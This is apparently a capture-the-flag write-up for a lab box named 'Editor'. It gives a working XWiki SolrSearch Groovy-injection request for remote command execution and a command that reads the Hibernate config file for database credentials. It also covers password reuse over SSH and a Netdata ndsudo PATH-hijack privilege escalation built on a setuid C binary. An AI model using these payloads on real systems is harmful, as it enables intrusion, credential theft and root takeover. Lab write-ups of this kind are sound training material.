Post

Editor

Editor

Recon

I started with an nmap scan. Three ports are open:

PortServiceDetails
22SSHOpenSSH
80HTTPnginx, redirects to editor.htb
8080HTTPJetty 10.0.20, XWiki 15.10.8 (wiki.editor.htb)

Port 80 is just the main site. Port 8080 is more interesting because it runs XWiki 15.10.8, and that version has a known bug.

Foothold

CVE-2025-24893 (XWiki SolrSearch RCE)

The SolrSearch macro in XWiki runs the search text as Groovy code, and we don’t need to log in for it. So we can put a Groovy payload inside the text parameter and the server will run it.

This request runs id on the box:

1
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text={{async async=false}}{{groovy}}["sh","-c","id"].execute().text{{/groovy}}{{/async}}

The response shows we run commands as the xwiki user (uid=997). Changing id to another command gives us command execution on the machine.

Looking for credentials

XWiki keeps its database settings in the Hibernate config file, so I read it:

1
2
3
cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
# connection.username = xwiki
# connection.password = theEd1t0rTeam99

We get the MySQL credentials xwiki:theEd1t0rTeam99.

User

People often reuse passwords, so I tried this one over SSH with the user oliver. It worked.

1
2
ssh oliver@10.129.102.68  # password: theEd1t0rTeam99
cat ~/user.txt

Checking the groups of oliver, he is in the netdata group (gid=999). That looks useful for root.

Root

CVE-2024-32019 (Netdata ndsudo PATH hijack)

Netdata 1.45.2 is installed in /opt/netdata/. The binary ndsudo is SUID root, and the netdata group can run it. It looks for tools like nvme, megacli and arcconf in the PATH, and it does not limit where they come from. So if we put our own nvme in a folder at the front of PATH, ndsudo will run our file as root.

My first idea was a shell script, but that does not work. When bash starts as a script it drops the SUID privileges. So I used a small compiled C program that calls setuid(0) first and then starts bash:

1
2
3
4
5
6
7
// exploit.c, compiled as a static x86_64 binary
#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}

I built it on my Kali ARM machine, so I had to cross-compile it for x86_64. I used a static build so it runs without depending on libraries on the target.

1
2
# Cross-compile on Kali ARM -> x86_64
x86_64-linux-gnu-gcc -static -o /tmp/.exploit/nvme exploit.c

Then I put the folder first in PATH and ran ndsudo with the nvme-list argument, which makes it call nvme:

1
PATH=/tmp/.exploit:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

This gives a root shell, and we can read root.txt.